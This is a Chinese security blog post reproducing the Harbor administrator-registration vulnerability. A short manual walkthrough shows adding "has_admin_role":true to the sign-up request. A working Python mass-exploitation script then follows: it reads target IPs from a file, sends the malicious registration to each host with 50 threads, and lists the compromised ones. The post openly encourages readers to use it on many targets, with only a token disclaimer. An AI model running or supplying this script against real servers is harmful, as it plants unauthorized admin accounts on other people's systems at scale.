晚安 "你别急,我会慢慢的走出你的世界,不留痕迹"
Harbor任意管理员注册漏洞复现与批量脚本
发表于 2019-9-21 | | 挖洞骚姿势

oxo1 前言#

昨天在FreeBuf看到有漏洞预警了、然后晚上 cwkiller 表哥就发复现过程让我写文章了、然后找 Broken 表哥写个批量脚本准备刷一波、刷了两页、提交漏洞太累人了(其实是补天有很多被忽略了)。所以公布出来、让大家刷一刷、捡捡漏吧。(首发于 T9sec Team

oxo2 复现#

点击注册、然后抓取数据包

数据包后面加上一段:"has_admin_role":true

查看响应包、201 表示成功了

登录账号验证一下

oxo3 批量脚本#

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "test1@qq.com",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass

if __name__ == '__main__':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)
    # 50是线程
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            if 'http' not in row[0]:
                url = 'http://' + row[0]
            else:
                url = row[0]
            pool.submit(exp, url)

成功之后、就会打印出URL、然后根据上方的账号和密码就可以直接登录了

oxo4 文末#

只供技术学习交流、请勿用于非法行为、否则后果自负。喜欢就点波关注吧!

 

本文章直接搬运圈子社区!!!

原文章地址:https://www.secquan.org/Discuss/1070303

发表评论:

TOP